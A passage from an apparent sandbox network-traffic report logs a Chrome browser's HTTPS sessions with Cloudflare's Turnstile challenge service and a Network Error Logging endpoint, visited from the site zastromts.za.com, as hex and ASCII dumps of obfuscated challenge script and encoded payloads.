7)][hY(1605)](c[hY(406)](2,d),32),eM[hY(1087)](function(hZ){if(hZ=hY,c[hZ(995)](hZ(269),c[hZ(1187)])){if(h()===1)return void(c[hZ(261)](m,c[hZ(652)],hZ(600)),n(hZ(409),c[hZ(1611)]));k(c[hZ(1365)],function(s,i0){i0=hZ,s[i0(1697)][i0(852)](i0(1154))}),l(c[h
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 30 36 39 29 5d 28 69 5b 69 31 28 31 34 38 37 29 5d 28 48 2c 36 29 26 36 33 2e 39 7c 31 32 38 29 29 2c 46 2b 3d 49 5b 69 31 28 31 30 36 39 29 5d 28 69 5b 69 31 28 35 36 33 29 5d 28 48 2c 36 33 29 7c 31 32 38 29 29 2c 47 2b 2b 29 3b 72 65 74 75 72 6e 20 46 7d 65 6c 73 65 20 66 5b 69 31 28 32 33 36 29 5d 3d 4a 53 4f 4e 5b 69 31 28 31 38 33 29 5d 28 66 5b 69 31 28 32 33 36 29 5d 2c 4f 62 6a 65 63 74 5b 69 31 28 35 39 37 29 5d 28 66 5b 69 31 28 32 33 36 29 5d 29 29 7d 65 6c 73 65 20 66 5b 69 31 28 32 33 36 29 5d 3d 4a 53 4f 4e 5b 69 31 28 31 38 33 29 5d 28 66 5b 69 31 28 32 33 36 29 5d 29 3b 69 66 28 6b 3d 68 7c 7c 69 31 28 39 30 30 29 2c 6c 3d 65 4d 5b 69 31 28 38 32 36 29 5d 5b 69 31 28 31 34 32 37 29 5d 3f 69 5b 69 31 28 32 33 34 29 5d 28 27 68 2f 27 2c 65 Data Ascii: 069)](i[i1(1487)](H,6)&63.9\|128)),F+=I[i1(1069)](i[i1(563)](H,63)\|128)),G++);return F}else f[i1(236)]=JSON[i1(183)](f[i1(236)],Object[i1(597)](f[i1(236)]))}else f[i1(236)]=JSON[i1(183)](f[i1(236)]);if(k=h\|\|i1(900),l=eM[i1(826)][i1(1427)]?i[i1(234)]('h/',e
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 39 29 29 29 26 26 28 6a 3d 64 5b 69 32 28 31 33 39 35 29 5d 5b 69 32 28 31 36 35 37 29 5d 28 27 5c 6e 27 29 2c 6a 5b 69 32 28 31 37 32 31 29 5d 3e 31 29 26 26 28 69 32 28 34 33 39 29 3d 3d 3d 69 32 28 31 34 34 35 29 3f 28 6f 3d 65 5b 69 32 28 37 33 31 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 32 36 5d 5b 33 5d 2c 65 5b 69 32 28 36 30 38 29 5d 28 74 68 69 73 2e 68 5b 31 32 36 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 69 32 28 31 35 35 33 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 32 36 2e 34 35 5d 5b 30 5d 2b 2b 29 2c 31 35 38 29 2b 32 35 36 26 32 35 35 2e 38 39 29 5e 35 32 2e 38 2c 6f 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 6f 5d 2c 73 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 32 36 2e 34 32 5d 5b 33 5d 5e 65 5b 69 32 28 37 34 Data Ascii: 9)))&&(j=d[i2(1395)][i2(1657)]('\n'),j[i2(1721)]>1)&&(i2(439)===i2(1445)?(o=e[i2(731)](this.h[this.g^126][3],e[i2(608)](this.h[126^this.g][1][i2(1553)](this.h[this.g^126.45][0]++),158)+256&255.89)^52.8,o=this.h[this.g^o],s=this.h[this.g^126.42][3]^e[i2(74
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 64 2c 65 4d 5b 67 4c 28 31 31 39 38 29 5d 28 67 4c 28 31 30 33 35 29 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 69 56 2c 65 2c 66 2c 67 29 7b 69 56 3d 67 4c 2c 65 3d 7b 7d 2c 65 5b 69 56 28 33 34 36 29 5d 3d 69 56 28 34 37 31 29 2c 65 5b 69 56 28 31 36 36 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 65 5b 69 56 28 31 36 30 34 29 5d 3d 69 56 28 31 36 30 32 29 2c 65 5b 69 56 28 38 36 39 29 5d 3d 69 56 28 31 36 39 29 2c 65 5b 69 56 28 39 38 36 29 5d 3d 69 56 28 35 33 33 29 2c 66 3d 65 2c 67 3d 64 5b 69 56 28 31 36 39 34 29 5d 2c 67 26 26 66 5b 69 56 28 31 36 36 36 29 5d 28 67 5b 69 56 28 31 34 36 32 29 5d 2c 69 56 28 34 37 31 29 29 26 26 67 5b 69 56 28 38 31 33 29 5d 3d 3d 3d 66 5b 69 56 28 31 36 30 34 29 5d 3f 67 Data Ascii: d,eM[gL(1198)](gL(1035),function(d,iV,e,f,g){iV=gL,e={},e[iV(346)]=iV(471),e[iV(1666)]=function(h,i){return h===i},e[iV(1604)]=iV(1602),e[iV(869)]=iV(169),e[iV(986)]=iV(533),f=e,g=d[iV(1694)],g&&f[iV(1666)](g[iV(1462)],iV(471))&&g[iV(813)]===f[iV(1604)]?g
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 7a 28 31 31 31 30 29 5d 28 64 79 2c 31 29 29 3f 28 64 7a 3d 30 2c 64 41 5b 6a 7a 28 31 36 39 39 29 5d 28 63 5b 6a 7a 28 31 30 36 38 29 5d 28 64 42 2c 64 43 29 29 2c 64 44 3d 30 29 3a 64 45 2b 2b 2c 64 76 2b 2b 29 3b 66 6f 72 28 67 3d 64 46 5b 6a 7a 28 31 35 35 33 29 5d 28 30 29 2c 64 47 3d 30 3b 63 5b 6a 7a 28 31 36 37 36 29 5d 28 38 2c 64 48 29 3b 64 4a 3d 64 4b 3c 3c 31 7c 67 26 31 2c 64 4c 3d 3d 64 4d 2d 31 3f 28 64 4e 3d 30 2c 64 4f 5b 6a 7a 28 31 36 39 39 29 5d 28 64 50 28 64 51 29 29 2c 64 52 3d 30 29 3a 64 53 2b 2b 2c 67 3e 3e 3d 31 2c 64 49 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 67 3d 31 2c 64 54 3d 30 3b 64 55 3c 64 56 3b 64 58 3d 64 59 3c 3c 31 2e 34 38 7c 67 2c 65 30 2d 31 3d 3d 64 5a 3f 28 65 31 3d 30 2c 65 32 5b 6a 7a 28 31 36 39 39 29 5d Data Ascii: z(1110)](dy,1))?(dz=0,dA[jz(1699)](c[jz(1068)](dB,dC)),dD=0):dE++,dv++);for(g=dF[jz(1553)](0),dG=0;c[jz(1676)](8,dH);dJ=dK<<1\|g&1,dL==dM-1?(dN=0,dO[jz(1699)](dP(dQ)),dR=0):dS++,g>>=1,dI++);}else{for(g=1,dT=0;dU<dV;dX=dY<<1.48\|g,e0-1==dZ?(e1=0,e2[jz(1699)]
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 78 58 74 67 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 6f 56 68 78 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6b 66 66 67 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 74 69 6e 50 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 62 74 73 42 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 66 65 62 6f 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 61 6a 50 65 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d Data Ascii: {return h-i},'xXtgw':function(h,i){return h\|i},'oVhxt':function(h,i){return h<<i},'kffgD':function(h,i){return h(i)},'tinPq':function(h,i){return h&i},'btsBv':function(h,i){return h==i},'febol':function(h,i){return h(i)},'ajPet':function(h,i){return h(i)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49712	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:24 UTC	1149	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3349 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:24 UTC	3349	OUT	Data Raw: 76 5f 38 64 61 63 36 61 65 38 64 65 38 36 34 36 65 33 3d 67 30 4c 47 58 47 78 47 5a 47 70 47 58 6e 43 71 6e 43 76 47 6e 6a 5a 79 58 48 6e 38 69 6e 41 41 43 52 37 43 5a 59 47 43 33 43 55 47 67 79 39 41 43 68 47 46 76 4c 47 5a 4a 6c 4c 43 79 47 4c 30 6e 37 7a 39 4c 47 43 4a 72 43 46 4c 39 6c 43 24 62 43 55 5a 37 34 4c 69 43 31 47 39 56 63 43 31 37 59 39 38 70 47 5a 62 43 6b 43 46 72 35 70 48 49 4b 38 58 4d 43 24 65 62 39 7a 43 34 61 55 6f 4b 52 74 61 4f 4b 34 65 59 6f 45 4c 62 6c 43 31 6a 39 70 79 41 6f 4d 43 58 69 78 43 43 48 62 4c 4e 43 52 31 7a 31 71 61 69 4a 75 24 68 4c 70 43 38 46 43 24 76 36 6b 65 41 59 43 46 59 36 6f 41 6a 47 74 44 68 74 6e 4d 4c 43 35 44 6e 6c 6b 67 47 67 6b 43 46 46 43 78 4d 4c 70 44 35 36 6b 58 43 39 57 71 59 43 54 33 51 6c 64 35 Data Ascii: v_8dac6ae8de8646e3=g0LGXGxGZGpGXnCqnCvGnjZyXHn8inAACR7CZYGC3CUGgy9AChGFvLGZJlLCyGL0n7z9LGCJrCFL9lC$bCUZ74LiC1G9VcC17Y98pGZbCkCFr5pHIK8XMC$eb9zC4aUoKRtaOK4eYoELblC1j9pyAoMCXixCCHbLNCR1z1qaiJu$hLpC8FC$v6keAYCFY6oAjGtDhtnMLC5DnlkgGgkCFFCxMLpD56kXC9WqYCT3Qld5
2024-10-30 15:25:24 UTC	747	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:24 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149608 Connection: close cf-chl-gen: 9gtjayd4Jt3ClU1RswPAb4iLUu/fm5mICkgdRxqqvKFfACKnLqUcN1w2No+h7R0TfhH2IhrkkBpoqKZYIVECqu5RoACFVdqD3Pbzmgh3Y8DWcvUXxxi4+4N4pw9C/Cc0uiTTn1W30PN6q7rvkbCx6uxs2nOpnhTbQzqTH6Dv2cGMeXHAng2BqToZUtO1quCGZBugvOXLohOg9sDWF6fcr2sPD2B2GFf8G6jNjwSXpnJHWqo+WTOmN+lFkRvs31GEULvhyAWpSv/xWA2y9Fp6Ppmxa+19V5cVda14jbeQiUXWYPsejIqn7N/DDNXzqTgQgs8WTkzz3rMfFhBOhc+thNMPvUEfzqRXfZ83Df0UcUdU0qPBfepJjtvolLRcZnTqa6DBGvZYTsaAY0QTgsaV2osprefXUI8TGaEV4wCwI4OkrG0HE4odmxuoyoDYXppXltu5V0LqeU4CIIsIUzkysuKWA6Cu496uVjoW4asd/2JL+Yo=$/eRrgHdVjMrsqcn1 Server: cloudflare CF-RAY: 8dac6af5aafa47a9-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:24 UTC	622	IN	Data Raw: 73 37 61 57 63 34 57 63 72 72 47 69 6f 49 35 32 70 4c 32 51 66 6f 4f 32 6f 73 43 4d 70 4b 36 37 76 38 75 66 78 71 47 51 6f 4d 57 78 6b 71 79 33 79 36 69 62 74 4e 65 30 6c 61 47 69 34 4e 2b 6d 70 73 4b 64 78 73 62 50 79 64 2b 71 73 4f 44 41 38 38 65 7a 73 2b 50 48 74 76 69 76 2f 72 57 38 2f 4e 44 54 37 51 58 5a 78 4f 6a 38 41 77 44 6f 42 75 2f 70 2f 51 62 6b 36 75 72 32 44 65 48 6b 47 51 59 52 43 52 30 4b 46 66 7a 61 39 67 4d 43 34 2f 33 77 4b 53 49 47 42 66 62 35 4c 76 63 6e 34 2b 51 45 35 69 6a 75 41 51 45 4d 46 52 67 78 44 42 6b 63 4e 78 55 42 50 53 34 52 4e 51 41 78 45 69 67 48 54 52 30 69 52 77 38 76 4c 30 4e 43 45 67 6b 58 4d 42 6f 70 47 46 49 2f 55 31 4e 62 51 32 51 6b 56 6b 63 30 58 6a 4a 62 48 55 67 39 52 32 78 65 5a 44 34 38 52 44 42 77 54 44 5a Data Ascii: s7aWc4WcrrGioI52pL2QfoO2osCMpK67v8ufxqGQoMWxkqy3y6ibtNe0laGi4N+mpsKdxsbPyd+qsODA88ezs+PHtviv/rW8/NDT7QXZxOj8AwDoBu/p/Qbk6ur2DeHkGQYRCR0KFfza9gMC4/3wKSIGBfb5Lvcn4+QE5ijuAQEMFRgxDBkcNxUBPS4RNQAxEigHTR0iRw8vL0NCEgkXMBopGFI/U1NbQ2QkVkc0XjJbHUg9R2xeZD48RDBwTDZ
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 79 41 54 6f 74 72 5a 6f 39 38 5a 6d 46 6d 61 6d 5a 6f 63 58 5a 78 6c 6d 39 35 65 57 31 32 70 49 57 5a 62 34 47 4b 66 70 64 31 68 4a 2b 50 6b 4c 4b 6a 62 34 4b 68 73 70 4f 45 6f 61 32 35 71 6e 61 6f 6f 4b 69 54 77 73 4f 74 6b 70 47 42 66 70 65 48 6b 36 4f 57 6a 4b 2b 43 6e 4c 2b 73 73 37 62 44 70 70 61 76 79 70 71 77 78 63 61 57 6d 37 61 30 32 74 33 6d 32 62 2f 6c 77 36 58 69 34 63 6e 58 32 63 66 71 75 38 66 69 39 75 58 68 71 74 44 59 36 4f 62 63 2f 64 79 2f 30 64 58 43 77 4d 4c 78 33 2b 6a 39 2f 65 54 30 36 2b 34 4f 7a 76 44 71 45 67 38 4b 30 67 45 4b 42 41 76 6e 37 39 51 50 37 68 6a 74 44 2f 58 32 33 67 45 67 4b 66 59 6e 43 52 6a 6d 2b 42 76 6d 2f 65 51 4f 4c 2b 38 33 41 52 6b 49 45 53 6f 55 39 79 2f 32 2b 41 38 76 4c 55 48 39 49 53 67 31 47 45 64 44 49 Data Ascii: yATotrZo98ZmFmamZocXZxlm95eW12pIWZb4GKfpd1hJ+PkLKjb4KhspOEoa25qnaooKiTwsOtkpGBfpeHk6OWjK+CnL+ss7bDppavypqwxcaWm7a02t3m2b/lw6Xi4cnX2cfqu8fi9uXhqtDY6Obc/dy/0dXCwMLx3+j9/eT06+4OzvDqEg8K0gEKBAvn79QP7hjtD/X23gEgKfYnCRjm+Bvm/eQOL+83ARkIESoU9y/2+A8vLUH9ISg1GEdDI
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 4f 67 6f 31 4f 68 32 79 59 65 47 57 53 69 59 71 64 6a 35 42 31 64 58 69 6a 59 58 5a 7a 65 35 64 69 70 4b 4f 4d 71 36 47 4c 71 59 36 46 62 4a 4f 4e 67 6e 61 6d 65 35 61 5a 6a 35 2b 71 71 33 76 42 77 38 61 53 76 71 43 33 74 72 32 4c 6c 35 65 6c 6d 59 6e 45 7a 72 61 6c 78 36 6a 48 71 4e 72 55 6d 4e 6d 65 71 71 76 51 77 74 58 4e 35 35 6d 31 32 73 53 34 34 36 6a 50 71 72 2b 38 35 61 76 42 34 2b 43 32 79 73 47 79 7a 4d 72 5a 74 62 72 4d 2b 4e 33 2b 30 2f 4c 66 32 4e 66 42 41 75 7a 71 39 67 6b 4a 41 2b 6e 74 36 74 38 53 43 77 73 46 43 2f 6f 58 43 51 66 74 33 74 76 5a 2b 66 50 64 42 4f 45 67 42 4f 41 6d 49 52 33 39 49 67 49 67 37 42 51 67 41 79 6b 69 42 69 6a 34 4b 68 51 75 4c 76 30 66 4c 78 4d 52 4f 78 5a 47 41 45 59 48 48 52 78 4e 4e 79 56 47 54 30 73 51 48 6c Data Ascii: Ogo1Oh2yYeGWSiYqdj5B1dXijYXZze5dipKOMq6GLqY6FbJONgname5aZj5+qq3vBw8aSvqC3tr2Ll5elmYnEzralx6jHqNrUmNmeqqvQwtXN55m12sS446jPqr+85avB4+C2ysGyzMrZtbrM+N3+0/Lf2NfBAuzq9gkJA+nt6t8SCwsFC/oXCQft3tvZ+fPdBOEgBOAmIR39IgIg7BQgAykiBij4KhQuLv0fLxMROxZGAEYHHRxNNyVGT0sQHl
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 56 32 70 77 56 47 70 63 61 31 36 6a 6c 70 35 67 57 59 52 6c 65 31 31 71 64 59 39 39 67 36 69 47 5a 59 75 43 73 5a 2b 32 6c 6e 65 55 63 72 47 4c 6c 58 71 67 66 62 36 44 75 4a 6d 33 65 71 61 2b 77 73 76 42 72 37 2b 34 6e 71 71 6a 6e 38 48 44 31 39 6a 51 75 74 44 56 78 62 50 66 76 4d 2f 66 77 4a 72 45 6e 35 2f 55 31 4b 54 66 31 4d 4f 33 78 38 36 38 77 62 44 6b 34 63 66 59 79 4c 66 77 79 62 6e 70 37 72 37 78 41 4e 62 58 32 50 37 69 32 51 6e 46 39 76 72 37 35 66 6e 70 43 51 2f 76 38 75 77 51 47 4d 6e 72 31 76 6a 54 37 65 62 64 2f 52 55 55 39 76 44 61 42 67 66 5a 49 78 4d 47 41 76 6b 6d 44 4f 45 71 38 41 77 68 4a 2f 49 78 4d 66 67 61 43 42 67 35 39 52 67 65 43 66 77 58 4c 44 34 6c 48 52 38 65 42 45 67 31 52 53 51 70 48 52 6b 78 43 7a 39 51 55 31 46 4f 54 78 51 Data Ascii: V2pwVGpca16jlp5gWYRle11qdY99g6iGZYuCsZ+2lneUcrGLlXqgfb6DuJm3eqa+wsvBr7+4nqqjn8HD19jQutDVxbPfvM/fwJrEn5/U1KTf1MO3x868wbDk4cfYyLfwybnp7r7xANbX2P7i2QnF9vr75fnpCQ/v8uwQGMnr1vjT7ebd/RUU9vDaBgfZIxMGAvkmDOEq8AwhJ/IxMfgaCBg59RgeCfwXLD4lHR8eBEg1RSQpHRkxCz9QU1FOTxQ
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 4a 56 38 6e 5a 31 64 65 6e 65 6f 68 35 5a 6b 65 6f 47 61 70 6e 6c 2f 6c 49 52 74 6a 49 57 68 75 59 69 4a 72 34 68 35 6b 33 4b 66 6c 38 4f 41 73 49 61 6d 67 59 43 6d 6e 73 6e 43 6a 64 44 4c 73 71 4f 30 6b 64 4f 6c 77 4d 36 78 31 35 76 48 74 4c 36 35 77 64 71 33 34 4e 61 32 75 70 2b 6b 77 61 61 35 74 70 2f 50 32 75 62 66 76 39 48 6f 38 75 33 41 39 64 71 79 78 66 6e 76 41 4f 72 36 37 4e 33 44 32 38 4c 52 32 4e 4c 44 31 63 6e 49 34 38 55 4b 34 75 2f 6e 2b 78 50 52 41 4f 54 72 38 4f 4d 4e 2b 78 59 4b 44 4e 6b 41 34 67 50 63 49 68 38 64 43 76 4d 54 36 39 34 68 35 44 45 6f 4c 51 7a 38 35 68 2f 7a 44 78 59 51 4b 66 72 38 44 67 63 64 4d 52 41 75 4e 77 4d 69 42 67 64 46 50 43 4d 5a 50 42 6f 34 4b 67 4e 4d 4b 6b 63 70 51 52 41 54 57 6c 42 59 58 44 59 76 4c 45 68 5a Data Ascii: JV8nZ1deneoh5ZkeoGapnl/lIRtjIWhuYiJr4h5k3Kfl8OAsIamgYCmnsnCjdDLsqO0kdOlwM6x15vHtL65wdq34Na2up+kwaa5tp/P2ubfv9Ho8u3A9dqyxfnvAOr67N3D28LR2NLD1cnI48UK4u/n+xPRAOTr8OMN+xYKDNkA4gPcIh8dCvMT694h5DEoLQz85h/zDxYQKfr8DgcdMRAuNwMiBgdFPCMZPBo4KgNMKkcpQRATWlBYXDYvLEhZ
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 47 66 6f 34 47 64 5a 59 43 47 6e 59 43 67 6e 6e 4e 6e 73 58 57 6d 63 32 79 54 6c 33 68 30 6c 58 64 7a 71 35 53 39 75 61 43 41 6c 36 71 61 77 35 32 67 7a 36 4b 75 6a 4a 4c 45 74 4a 2b 68 6a 59 36 7a 72 73 79 74 74 39 61 7a 31 4f 43 74 76 37 72 53 34 75 61 36 79 61 61 35 37 63 65 67 37 4c 76 42 38 36 58 65 7a 2f 44 6b 36 64 50 30 32 2b 75 34 38 76 4c 51 33 72 72 44 39 77 45 42 78 64 6a 43 31 51 6a 68 2b 51 4c 4f 2f 74 44 63 30 75 58 2b 44 38 2f 54 46 50 6f 59 36 42 6e 58 39 68 76 78 36 74 72 77 33 76 77 6e 47 78 6b 4a 43 50 30 41 4c 79 51 74 47 78 38 53 2f 44 55 41 4a 79 58 33 47 77 34 33 4d 68 34 2b 45 43 38 76 2b 51 4d 66 41 69 51 68 43 43 77 6f 48 45 73 74 49 42 73 52 55 69 4a 49 56 43 38 57 44 79 6c 62 4b 77 38 65 4a 30 70 55 47 42 74 42 55 56 39 64 49 Data Ascii: Gfo4GdZYCGnYCgnnNnsXWmc2yTl3h0lXdzq5S9uaCAl6qaw52gz6KujJLEtJ+hjY6zrsytt9az1OCtv7rS4ua6yaa57ceg7LvB86Xez/Dk6dP02+u48vLQ3rrD9wEBxdjC1Qjh+QLO/tDc0uX+D8/TFPoY6BnX9hvx6trw3vwnGxkJCP0ALyQtGx8S/DUAJyX3Gw43Mh4+EC8v+QMfAiQhCCwoHEstIBsRUiJIVC8WDylbKw8eJ0pUGBtBUV9dI
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 69 67 6f 75 63 66 37 42 79 71 35 65 32 75 59 79 59 71 6f 69 71 64 62 43 76 6f 5a 32 6c 76 4a 4b 38 68 6f 4b 6f 68 4c 69 65 79 4a 2b 64 75 61 7a 50 7a 71 2f 4b 73 71 48 54 6b 64 69 31 6d 4e 6d 7a 30 62 37 44 77 39 61 58 75 4b 66 56 6f 65 4f 33 37 62 71 6b 7a 38 32 77 78 72 33 79 36 38 43 70 7a 2b 66 49 78 4d 54 4e 7a 73 72 76 36 2b 79 2f 30 67 58 46 35 73 50 6d 41 74 6f 4c 79 41 55 50 42 41 41 53 36 68 45 58 34 68 49 50 47 75 6e 58 43 76 34 64 45 42 33 54 45 41 54 37 45 66 54 7a 33 79 67 59 4b 51 63 42 35 67 45 73 44 76 44 6c 49 43 58 6f 42 6a 45 59 47 50 59 4a 39 69 73 71 50 45 4d 43 47 67 4a 47 48 54 70 4b 50 78 4d 72 49 79 77 72 41 68 6b 38 4f 79 59 74 4d 44 42 44 52 56 49 56 46 6b 30 51 56 53 73 2b 48 6a 70 65 4e 68 78 43 4a 6d 4a 66 57 69 5a 45 4a 44 Data Ascii: igoucf7Byq5e2uYyYqoiqdbCvoZ2lvJK8hoKohLieyJ+duazPzq/KsqHTkdi1mNmz0b7Dw9aXuKfVoeO37bqkz82wxr3y68Cpz+fIxMTNzsrv6+y/0gXF5sPmAtoLyAUPBAAS6hEX4hIPGunXCv4dEB3TEAT7EfTz3ygYKQcB5gEsDvDlICXoBjEYGPYJ9isqPEMCGgJGHTpKPxMrIywrAhk8OyYtMDBDRVIVFk0QVSs+HjpeNhxCJmJfWiZEJD
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 70 58 4f 43 6a 48 61 4a 73 5a 75 4a 66 48 33 43 6f 70 4b 66 70 5a 79 78 6e 72 71 48 6c 70 6d 71 79 4b 33 42 75 63 75 46 6e 71 53 67 30 73 2b 53 79 63 36 63 75 64 71 6e 30 4f 47 79 7a 5a 62 44 33 65 57 34 33 74 61 7a 77 73 48 50 72 36 2f 67 36 74 33 45 77 4f 2f 54 72 73 54 6c 31 63 66 36 33 66 33 6f 2f 4e 62 4f 32 76 30 47 78 74 44 78 30 39 72 64 44 75 33 61 2f 75 7a 51 33 51 6e 6d 37 77 7a 6c 30 65 59 45 2b 67 38 63 2b 42 41 41 41 66 67 42 42 76 6a 6e 4b 51 58 70 38 78 6b 4f 45 44 41 52 43 77 4d 41 49 2f 37 76 38 41 63 45 38 6a 4d 73 4a 76 6b 2f 2f 43 6f 4e 4d 6a 78 42 42 69 6b 41 48 52 38 66 50 69 34 37 48 43 67 64 51 55 51 31 4d 43 63 78 46 42 6f 53 54 44 30 35 55 6c 4d 75 51 69 34 34 4c 79 56 42 48 6a 59 6d 4b 69 67 39 62 30 4e 6d 59 30 59 38 51 58 51 Data Ascii: pXOCjHaJsZuJfH3CopKfpZyxnrqHlpmqyK3BucuFnqSg0s+Syc6cudqn0OGyzZbD3eW43tazwsHPr6/g6t3EwO/TrsTl1cf63f3o/NbO2v0GxtDx09rdDu3a/uzQ3Qnm7wzl0eYE+g8c+BAAAfgBBvjnKQXp8xkOEDARCwMAI/7v8AcE8jMsJvk//CoNMjxBBikAHR8fPi47HCgdQUQ1MCcxFBoSTD05UlMuQi44LyVBHjYmKig9b0NmY0Y8QXQ
2024-10-30 15:25:24 UTC	1369	IN	Data Raw: 4c 75 79 71 58 68 36 77 70 47 5a 6a 72 43 65 70 4d 4b 67 79 59 71 5a 68 62 43 74 77 72 43 46 30 74 47 71 77 4c 57 58 78 72 65 55 6c 4e 62 4b 79 73 79 2b 34 73 37 6a 32 73 47 2f 35 39 58 44 31 4b 75 2f 32 4f 76 4d 37 38 36 2f 39 50 66 6d 34 64 44 37 79 39 50 64 2b 4e 72 4a 73 39 66 38 75 39 58 37 35 39 59 48 43 4c 33 55 39 64 33 39 34 4d 6a 70 38 65 49 48 44 41 37 71 32 42 67 59 37 78 62 7a 32 66 49 62 34 74 34 68 35 4f 2f 76 42 4f 49 62 4b 52 2f 74 4a 67 77 64 48 69 45 73 4e 65 66 78 4e 79 73 6e 41 7a 30 5a 2f 42 38 53 45 79 38 78 41 76 30 47 41 6a 52 44 41 7a 55 4a 50 67 63 2f 53 51 67 68 48 45 45 7a 4b 51 6c 4a 4c 44 4d 79 52 6c 6f 77 4e 54 55 76 59 31 6f 32 57 6c 38 6d 5a 54 56 46 4e 6a 52 6c 50 6c 38 73 53 48 45 7a 53 6d 31 73 64 54 5a 4f 55 31 70 75 Data Ascii: LuyqXh6wpGZjrCepMKgyYqZhbCtwrCF0tGqwLWXxreUlNbKysy+4s7j2sG/59XD1Ku/2OvM786/9Pfm4dD7y9Pd+NrJs9f8u9X759YHCL3U9d394Mjp8eIHDA7q2BgY7xbz2fIb4t4h5O/vBOIbKR/tJgwdHiEsNefxNysnAz0Z/B8SEy8xAv0GAjRDAzUJPgc/SQghHEEzKQlJLDMyRlowNTUvY1o2Wl8mZTVFNjRlPl8sSHEzSm1sdTZOU1pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49713	35.190.80.1	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:24 UTC	539	OUT	OPTIONS /report/v4?s=YFF9K0pSThgn1k3xDR9bk2Bo1W02aZC%2FVD0u0PZzwqpxidOlTDI00%2FVHiqEZIfWFvW2BSMaI%2FIx6tbaSUiURgK9RqNfPKH%2BIAlWuht0lHe3HFa59OCHCwcW%2FoX19L0H7nNlp HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://zastromts.za.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:25 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 30 Oct 2024 15:25:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
